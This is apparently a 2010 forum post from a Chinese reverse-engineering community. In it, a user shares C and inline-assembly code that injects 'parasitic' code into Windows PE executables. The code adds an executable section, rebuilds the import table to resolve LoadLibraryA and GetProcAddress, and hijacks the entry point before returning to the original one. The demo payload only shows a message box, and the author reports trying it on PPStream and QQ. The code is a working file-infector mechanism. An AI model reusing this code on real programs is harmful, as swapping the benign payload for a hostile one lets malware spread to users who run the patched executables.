首页
社区
课程
招聘
[旧帖] [邀请码已发][原创]重构PE导入表来实现将代码注入文件!!申请邀请码 0.00雪花
发表于: 2010-6-10 19:28 2040

[旧帖] [邀请码已发][原创]重构PE导入表来实现将代码注入文件!!申请邀请码 0.00雪花

2010-6-10 19:28
2040
网上关于PE结构编辑的代码确实很少,并且很多都是把罗云斌的《WIN32汇编程序设计》中的代码照搬过来。经过这几天的摸索,
完成了下面这段代码,对PE结构不怎么了解的朋友建议你先恶补一下PE知识,限于篇幅,我就不重述那些东西了。
   在向PE结构文件插入代码时最重要的是API函数的调用,你的寄生代码在本地编译后的API函数地址到宿主文件中就会无效,所以
必须想办法在宿主文件中找到合法的API函数地址。在《WIN32汇编程序设计》中介绍了一个动态获取API 的方法,不过该方法较为
复杂,在C语言下不好实现。还有是在本地直接用LoadLibrary和GetProcAddress两个函数获得API地址,再写到宿主文件中,这个虽简单不过不是很保险。
在了解PE结构后,我想到了本文所讲的方法,在之前我先在网上搜了一下资料(T T!............少的可怜),找到了一遍文章介绍
是PE文件中API HOOK,就是把导入表中的函数的地址指向另一个地址,不过作者没给代码,说是为了安全,不打算公开(- -!)
没办法,最后只能靠自己了。。。(^_^)。
   现在开始步入正题。。。。。我们首先要确定的是只要找到“LoadLibraryA”和“GetProcAddress"这两个函数的地址就行了,接下来程序的大体思路是
这样的:先在宿主文件中新建一个节区,把导入表复制到新节区中,在复制的时候检查一下有没有”LoadLibraryA“和”GetProcAddress"两个函数,如果有的
话保存它们的地址,没有的话就添加这两个函数到新导入表中,之后保存它们的地址,再把我们的寄生代码写到这个新节区中。下面根据代码来详细说
一下这个过程:

/***********************************************************************************************/
        HANDLE sFileHdl;
        HANDLE sFileMap;
        int sFileSize,i,sizeofTable,numOfImport=0,thunkDataNum=0,s=0,start,CodeSize;
        char str[20];
        DWORD WriteSize;
        DWORD thunkAddr;
        DWORD dwOldEntry;
        DWORD dwNewEntry;
        DWORD TotalSize=0;
        DWORD LoadLibraryAddr=0;
        DWORD GetProcAddrAddr=0;

        BYTE buf[BUFSIZE];
        PCHAR dllName;
        PCHAR funName;
        PIMAGE_IMPORT_DESCRIPTOR importEntry;
        PIMAGE_IMPORT_DESCRIPTOR newImportEntry;
        PIMAGE_SECTION_HEADER lastSection;
        PIMAGE_SECTION_HEADER newSection;
        PIMAGE_SECTION_HEADER hImportSection;

        PIMAGE_THUNK_DATA hImportFun;
        PIMAGE_IMPORT_BY_NAME hFunName;

        PIMAGE_DOS_HEADER sDOSfile;
        PIMAGE_NT_HEADERS sNTfile;

        PIMAGE_THUNK_DATA srcThunkData;
    PIMAGE_THUNK_DATA FirstThunkData;
/****************************************************************************************************/

/**********创建文件映射,映射后得到的地址赋给IMAGE_DOS_HEADER结构的DOS文件头***************************/

        sFileHdl=CreateFile(sFileName,GENERIC_READ|GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
        sFileSize=GetFileSize(sFileHdl,NULL);

        if(sFileHdl==INVALID_HANDLE_VALUE)
        {
                MessageBox(hwd,TEXT("打开源文件出错!"),TEXT("Error"),MB_OK);
                CloseHandle(sFileHdl);
                return 0;
        }
       

        sFileMap=CreateFileMapping(sFileHdl,NULL,PAGE_READWRITE,0,0,NULL);
        if(!sFileMap)
        {
                MessageBox(hwd,TEXT("创建文件映射错误"),TEXT("error"),MB_OK);
                CloseHandle(sFileMap);
                return 0;
        }
        sDOSfile=(PIMAGE_DOS_HEADER)MapViewOfFile(sFileMap,FILE_MAP_READ|FILE_MAP_WRITE,0,0,NULL);
        if(!sDOSfile)
        {
                MessageBox(hwd,TEXT("打开文件映射视图错误!"),TEXT("Error"),MB_OK);
                return 0;
        }
       
        /**********验证文件是否是PE文件*********************************************************************/
        if(sDOSfile->e_magic!=IMAGE_DOS_SIGNATURE)
        {

                MessageBox(hwd,TEXT("不是有效的PE文件!"),TEXT("错误"),MB_OK);
                return 0;
        }
    //PE文件头sNTfile
        sNTfile=(PIMAGE_NT_HEADERS)((PBYTE)sDOSfile+((PIMAGE_DOS_HEADER)sDOSfile)->e_lfanew);
        if(sNTfile->Signature!=IMAGE_NT_SIGNATURE)
        {
                MessageBox(hwd,TEXT("不是有效的PE文件!"),TEXT("错误"),MB_OK);
                return 0;
        }
/*******************添加新节newSection********************************************************/
        lastSection=(PIMAGE_SECTION_HEADER)((PBYTE)sNTfile+(sNTfile->FileHeader.NumberOfSections-1)*sizeof(IMAGE_SECTION_HEADER)+sizeof(IMAGE_NT_HEADERS));
        newSection=lastSection+1;
        for(i=0;i<10;i++)//这里10是sizeof(IMAGE_SECTION_HEADER)/4得来的
        {
               
                if(*((PDWORD)newSection+i)!=0)
                        break;

        }
        if(i<10)
        {
                MessageBox(hwd,TEXT("没有足够的节表空间!"),TEXT("Error"),MB_OK);
                return 0;
        }
       
       
       
    sizeofTable=2048;//新节的大小,为了方便随便设了一个差不多的值,可能会有空间浪费
/*****************设置新节中相应字段的值********************************************************/
        sNTfile->FileHeader.NumberOfSections++;
        newSection->PointerToRawData=lastSection->PointerToRawData+lastSection->SizeOfRawData;//新节在文件中偏移
        newSection->SizeOfRawData=align(sizeofTable,sNTfile->OptionalHeader.FileAlignment);//新节在文件中的大小,需要以sNTfile->OptionalHeader结构中的FileAlignment字段对齐
        strcpy_s((char*)newSection->Name,sizeof(newSection->Name),TEXT(".zdata"));//新节的名称
        newSection->VirtualAddress=lastSection->VirtualAddress+align(lastSection->Misc.VirtualSize,sNTfile->OptionalHeader.SectionAlignment);//新节在内存中的偏移,
        newSection->Misc.VirtualSize=sizeofTable;//新节的大小
        newSection->Characteristics=IMAGE_SCN_CNT_CODE|IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE|IMAGE_SCN_MEM_EXECUTE;//设置新节区的属性

/*    开始遍历原导入表,sNTfile->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress中存放着导入表的内存偏移, *
*    由于我们要在文件中查找导入表,则需要把这个内存偏移转换成在文件中的偏移,同过自己实现的函数RAV2Offset完成。                     *
*/
        hImportSection=RVA2Offset(sNTfile->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress,sNTfile);
        importEntry=(PIMAGE_IMPORT_DESCRIPTOR)((PBYTE)sDOSfile+sNTfile->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress-hImportSection->VirtualAddress+hImportSection->PointerToRawData);
         /**************将文件指针移到新节的起点处,准备往里写数据**********************************************/
        SetFilePointer(sFileHdl,newSection->PointerToRawData,NULL,FILE_BEGIN);

/***下面是将要添加函数的IMAGE_IMPORT_BY_NAME的结构写入新节区中,该结构是PE装载器在装载动态链接库的导入函数时用的****/   
    hFunName=new IMAGE_IMPORT_BY_NAME[7];
        hFunName->Hint=0;
    memcpy_s(hFunName->Name,sizeof("LoadLibraryA"),"LoadLibraryA",sizeof("LoadLibraryA"));
        WriteFile(sFileHdl,hFunName,25,&WriteSize,NULL);   
        memset(hFunName,0,25);
        hFunName->Hint=0;
    memcpy_s(hFunName->Name,sizeof("GetProcAddress"),"GetProcAddress",sizeof("GetProcAddress"));
        WriteFile(sFileHdl,hFunName,25,&WriteSize,NULL);
/****修改导入表的入口地址为新导入表,并把IAT置零,防止系统不装载我们新添加的导入函数,当然,也可以修正一下IAT,但。。。太麻烦~~!***********************/
    sNTfile->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress=newSection->VirtualAddress+50;
        sNTfile->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].VirtualAddress=NULL;
        sNTfile->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size=NULL;
        TotalSize+=50;
/******开始复制导入表到新节区,下面第一个循环是为了得到导入表中导入库的数量**************/       
        newImportEntry=importEntry;
        while(newImportEntry->OriginalFirstThunk||newImportEntry->TimeDateStamp||newImportEntry->ForwarderChain||newImportEntry->FirstThunk||newImportEntry->Name)
        {
                numOfImport++;
                newImportEntry++;
        }
        newImportEntry=new IMAGE_IMPORT_DESCRIPTOR;       
        while(importEntry->OriginalFirstThunk||importEntry->TimeDateStamp||importEntry->ForwarderChain||importEntry->FirstThunk||importEntry->Name)
        {
               
                       
                hImportSection=RVA2Offset(importEntry->Name,sNTfile);
                dllName=(PCHAR)((PBYTE)sDOSfile+importEntry->Name-hImportSection->VirtualAddress+hImportSection->PointerToRawData);
                hImportSection=RVA2Offset(importEntry->FirstThunk,sNTfile);
        hImportSection->Characteristics=IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE;
                //*****判断原导入表中是否存在我们要添加的函数******************//
                if(strcmp(dllName,"kernel32.dll")==0||strcmp(dllName,"KERNEL32.dll")==0)
                {
                               
                        FirstThunkData=(PIMAGE_THUNK_DATA)((PBYTE)sDOSfile+importEntry->FirstThunk-hImportSection->VirtualAddress+hImportSection->PointerToRawData);
               
                        if(importEntry->OriginalFirstThunk!=NULL)
                        {
                                hImportSection=RVA2Offset(importEntry->OriginalFirstThunk,sNTfile);
                                srcThunkData=(PIMAGE_THUNK_DATA)((PBYTE)sDOSfile+importEntry->OriginalFirstThunk-hImportSection->VirtualAddress+hImportSection->PointerToRawData);
                        }
                        else
                        {
                                srcThunkData=FirstThunkData;
                        }
                        hImportFun=srcThunkData;
                        while(srcThunkData->u1.AddressOfData!=0)
                        {
                                hImportSection=RVA2Offset(srcThunkData->u1.AddressOfData,sNTfile);
                                funName=(PCHAR)((PBYTE)sDOSfile+srcThunkData->u1.AddressOfData-hImportSection->VirtualAddress+hImportSection->PointerToRawData+2);
                                if(strcmp(funName,"LoadLibraryA")==0)
                                        LoadLibraryAddr=newSection->VirtualAddress+50+(numOfImport+1)*sizeof(IMAGE_IMPORT_DESCRIPTOR)+8-(importEntry->FirstThunk+thunkDataNum*sizeof(IMAGE_THUNK_DATA));
                       
                                else
                                        if(strcmp(funName,"GetProcAddress")==0)
                                                GetProcAddrAddr=newSection->VirtualAddress+50+(numOfImport+1)*sizeof(IMAGE_IMPORT_DESCRIPTOR)+8-(importEntry->FirstThunk+thunkDataNum*sizeof(IMAGE_THUNK_DATA));
                                thunkDataNum++;
                                srcThunkData++;
                        }
                        //如果不存在,则修改“kernel32.dll”中的FirstThunk字段的值为新节区的一块地址
                        if(LoadLibraryAddr==0||GetProcAddrAddr==0)
                        {
                                memcpy_s(newImportEntry,sizeof(IMAGE_IMPORT_DESCRIPTOR),importEntry,sizeof(IMAGE_IMPORT_DESCRIPTOR));
                                newImportEntry->FirstThunk=newSection->VirtualAddress+50+(numOfImport+1)*sizeof(IMAGE_IMPORT_DESCRIPTOR);
                                newImportEntry->OriginalFirstThunk=newImportEntry->FirstThunk;
                                WriteFile(sFileHdl,newImportEntry,sizeof(IMAGE_IMPORT_DESCRIPTOR),&WriteSize,NULL);
                        }
                        //存在则直接复制到新节区,LoadLibraryAddr和GetProcAddrAddr存放函数地址到寄生代码头部的偏移
                        else
                                WriteFile(sFileHdl,importEntry,sizeof(IMAGE_IMPORT_DESCRIPTOR),&WriteSize,NULL);

                }
                else
                        WriteFile(sFileHdl,importEntry,sizeof(IMAGE_IMPORT_DESCRIPTOR),&WriteSize,NULL);

                importEntry++;
               
        }
        /*********************************************************************************************************/
       
       
       
        memset(newImportEntry,0,sizeof(IMAGE_IMPORT_DESCRIPTOR));
        WriteFile(sFileHdl,newImportEntry,sizeof(IMAGE_IMPORT_DESCRIPTOR),&WriteSize,NULL);

        TotalSize+=(numOfImport+1)*sizeof(IMAGE_IMPORT_DESCRIPTOR);
   
        srcThunkData=hImportFun;
        if(LoadLibraryAddr==0||GetProcAddrAddr==0)
        {
                /* 将原导入表中“kernel32.dll”的IMAGE_THUNK_DATA数组的值指向新节表的空闲地址,这里稍微多说一下,
                *  exe文件在编译连接后,代码中所调用API的地址被替换成导入表结构IMAGE_IMPORT_DESCRIPTOR中的FirstThunk
                *  字段所指向的IMAGE_THUNK_DATA数组地址。如在C代码中调用LoadLibrary函数后,经过编译链接后的汇编代码
                *  是这样的:call [0040xxxx],0040000是一般PE文件建议装载的内存基址,后面的xxxx是IMAGE_THUNK_DATA的内存偏移
                *  操作系统在装载PE时会将真正API函数的地址替换FirstThunk指向的IMAGE_THUNK_DATA结构数组,那么call [0400xxxx]
                *  就是用一个间接寻址来调用API函数,相关详细内容可查看PE知识的导入表结构介绍。我们不能修改源码中API的调用
                *  地址,并且操作系统装载时将API地址装入到新导入表中,所以就在修改的IMAGE_THUNK_DATA的值所指向的新节表的空
                *  闲地址用一个JMP指令跳到新导入表中对应IMAGE_THUNK_DATA地址处。
                *  
                */
                hImportFun=new IMAGE_THUNK_DATA;
                for(i=0;i<thunkDataNum;i++)
                {       
                        hImportFun->u1.AddressOfData=srcThunkData->u1.AddressOfData;
                        WriteFile(sFileHdl,hImportFun,sizeof(IMAGE_THUNK_DATA),&WriteSize,NULL);
                        FirstThunkData->u1.AddressOfData=newSection->VirtualAddress+50+(numOfImport+1)*sizeof(IMAGE_IMPORT_DESCRIPTOR)+(thunkDataNum+3)*sizeof(IMAGE_THUNK_DATA)+s+sNTfile->OptionalHeader.ImageBase;
                       
                        FirstThunkData++;
                        srcThunkData++;
                        s+=BUFSIZE;
                }
            //添加新函数的IMAGE_THUNK_DATA结构,
                hImportFun->u1.AddressOfData=newSection->VirtualAddress;
                WriteFile(sFileHdl,hImportFun,sizeof(IMAGE_THUNK_DATA),&WriteSize,NULL);
                LoadLibraryAddr=3*sizeof(IMAGE_THUNK_DATA)+thunkDataNum*BUFSIZE+8;

                hImportFun->u1.AddressOfData=newSection->VirtualAddress+25;
                WriteFile(sFileHdl,hImportFun,sizeof(IMAGE_THUNK_DATA),&WriteSize,NULL);
                GetProcAddrAddr=2*sizeof(IMAGE_THUNK_DATA)+thunkDataNum*BUFSIZE+8;

                memset(hImportFun,0,sizeof(IMAGE_THUNK_DATA));
                WriteFile(sFileHdl,hImportFun,sizeof(IMAGE_THUNK_DATA),&WriteSize,NULL);
                TotalSize+=(thunkDataNum+3)*sizeof(IMAGE_THUNK_DATA);
            
                //添加JMP指令跳到新导入表中”kernel32.dll"库的导入函数的IMAGE_THUNK_DATA地址处
                buf[0]=0xFF;
                buf[1]=0x25;       
                thunkAddr=newSection->VirtualAddress+50+(numOfImport+1)*sizeof(IMAGE_IMPORT_DESCRIPTOR)+sNTfile->OptionalHeader.ImageBase;
                for(i=0;i<thunkDataNum;i++)
                {
               
                        buf[2]=(BYTE)(thunkAddr);
                        buf[3]=(BYTE)(thunkAddr>>8);
                        buf[4]=(BYTE)(thunkAddr>>16);
                        buf[5]=(BYTE)(thunkAddr>>24);
                        WriteFile(sFileHdl,buf,BUFSIZE,&WriteSize,NULL);
                        thunkAddr+=sizeof(IMAGE_THUNK_DATA);
       
               
                }
                TotalSize+=thunkDataNum*BUFSIZE;
                delete hImportFun;
        }
    //将"LoadLibraryAddr“和”GetProcAddrAddr"写入到文件中为了在寄生代码中可以读取
        WriteFile(sFileHdl,&LoadLibraryAddr,4,&WriteSize,NULL);
        WriteFile(sFileHdl,&GetProcAddrAddr,4,&WriteSize,NULL);
        TotalSize+=8;
   //写入寄生代码并记录新入口地址
        CodeInfo(&start,&CodeSize);
        dwNewEntry=newSection->VirtualAddress+TotalSize;
       
        WriteFile(sFileHdl,(LPVOID)start,CodeSize,&WriteSize,NULL);
        TotalSize+=CodeSize;
    //写入JMP 原入口地址
        dwOldEntry=sNTfile->OptionalHeader.AddressOfEntryPoint-newSection->VirtualAddress-TotalSize-5;
        buf[0]=0xe9;
        buf[1]=(BYTE)dwOldEntry;
        buf[2]=(BYTE)(dwOldEntry>>8);
        buf[3]=(BYTE)(dwOldEntry>>16);
        buf[4]=(BYTE)(dwOldEntry>>24);
        WriteFile(sFileHdl,buf,5,&WriteSize,NULL);
        TotalSize+=5;
    //写入在寄生代码中用到的字符串
        strcpy_s(str,20,"user32.dll");
        WriteFile(sFileHdl,str,20,&WriteSize,NULL);
        strcpy_s(str,20,"MessageBoxA");
        WriteFile(sFileHdl,str,20,&WriteSize,NULL);
        strcpy_s(str,20,"test");
        WriteFile(sFileHdl,str,20,&WriteSize,NULL);
        strcpy_s(str,20,"Test Successful!");
        WriteFile(sFileHdl,str,20,&WriteSize,NULL);
        TotalSize+=80;

        //修改程序入口地址和其他一些字段
        sNTfile->OptionalHeader.AddressOfEntryPoint=dwNewEntry;
       
        int w=align(newSection->Misc.VirtualSize,sNTfile->OptionalHeader.SectionAlignment);
        sNTfile->OptionalHeader.SizeOfImage+=w;
        sNTfile->OptionalHeader.SizeOfCode+=w;
   
   
        SetFilePointer(sFileHdl,newSection->PointerToRawData+newSection->SizeOfRawData,NULL,FILE_BEGIN);
        SetEndOfFile(sFileHdl);

        delete newImportEntry;
       
        delete[] hFunName;
        UnmapViewOfFile(sDOSfile);
        CloseHandle(sFileMap);
        CloseHandle(sFileHdl);

注:align函数和RVA2Offset函数在了解原理后非常好实现,这里就不贴代码了.
    我的寄生代码如下(在begin和end之间):
        void CodeInfo(int *start,int *CodeSize)
{
        DWORD s,e;
        _asm
        {
                push eax
                mov eax,begin
                mov s,eax
                mov eax,end
                mov e,eax
                jmp end
begin:  pushad
                call A
A:               
                pop edi //获取当前地址给edi
                sub edi,6
                mov ebx,[edi-8]
                mov eax,edi
                sub eax,ebx
                mov ebx,eax//此时ebx存储的是LoadLibraryA的IMAGE_THUNK_DATA地址
                mov esi,edi
                add esi,end
                sub esi,begin
                add esi,5 //获取字符串“user32.dll”地址给esi
                push esi
                call [ebx]        //调用LoadLibraryA函数
                add esi,0x14               
                push esi
                push eax
                mov ebx,[edi-4]
                mov eax,edi
                sub eax,ebx
                mov ebx,eax
                call [ebx]  //调用GetProcAddress函数获取MessageBoxA地址
                push 0x0L
                add esi,0x14
                push esi
                add esi,0x14
                push esi
                push 0x00
                call eax    //调用MessageBoxA函数
                popad
end:
                pop eax

        }
    *start=s;
        *CodeSize=e-s;
       
}
下面是运行效果:
        

在PPstream主程序中添加代码。



添加成功后运行出现的测试对话框





主程序可以正常运行,测试成功~!!
对QQ测试的时候失败了,猜想QQ里应该有自效验机制。。。以后再慢慢研究吧~~!!

由于只是用于测试,所以代码没有好好的优化,还请见谅,如有问题欢迎指出交流。这是本人在看雪发的第一篇文章,不足之处望指正,感激不尽~~!! 由于第一次发,不知道这里排版是什么样子,所以粘贴到这里可能会很乱,所以建议将代码拷到本地编辑器中去看会更好,熟悉这里排版后以后会改正的。。

我是新来的,希望得到一个邀请码~~!! 谢谢~!\(^o^)/~

[课程]FART 脱壳王!加量不加价!FART作者讲授!

收藏
免费 0
支持
分享
最新回复 (6)
雪    币: 17
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
篇幅好长~~!!! 不知是好是坏~~!!
2010-6-10 19:30
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
这是要获得什么邀请码啊?
2010-6-11 19:20
0
雪    币: 127
活跃值: (40)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
4
以前我也写过一个注入应用(不是病毒木马),思路没LZ这么复杂。
就是做一个dll,注入目标进程,这个网上资料很多。
在注入后,修改输入表,拦截几个网络操作函数,将网络连接重定向到代理服务器,并完成代理验证过程。当时是注入QQ最成功,注入IE不稳定,注入cuteftp没效果,因为不是什么商业作品,后来也就没去研究了。
2010-6-12 14:53
0
雪    币: 360
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
rol
5
我认真的看了两遍
2010-6-12 14:59
0
雪    币: 17
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
恩,你说的这个DLL注入确实很泛滥,人人皆知,但它所实现的是程序运行时注入,并不能随程序的迁移而迁移。
2010-6-13 09:28
0
雪    币: 17
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
发完之后才发现竟然粘贴了两次。。。。。  晕倒~~!!!
虽说第一次发,但如此低级的错误。。。。。汗颜~~
不要笑话我噢~~!!!!
2010-6-13 09:31
0
游客
登录 | 注册 方可回帖
返回
//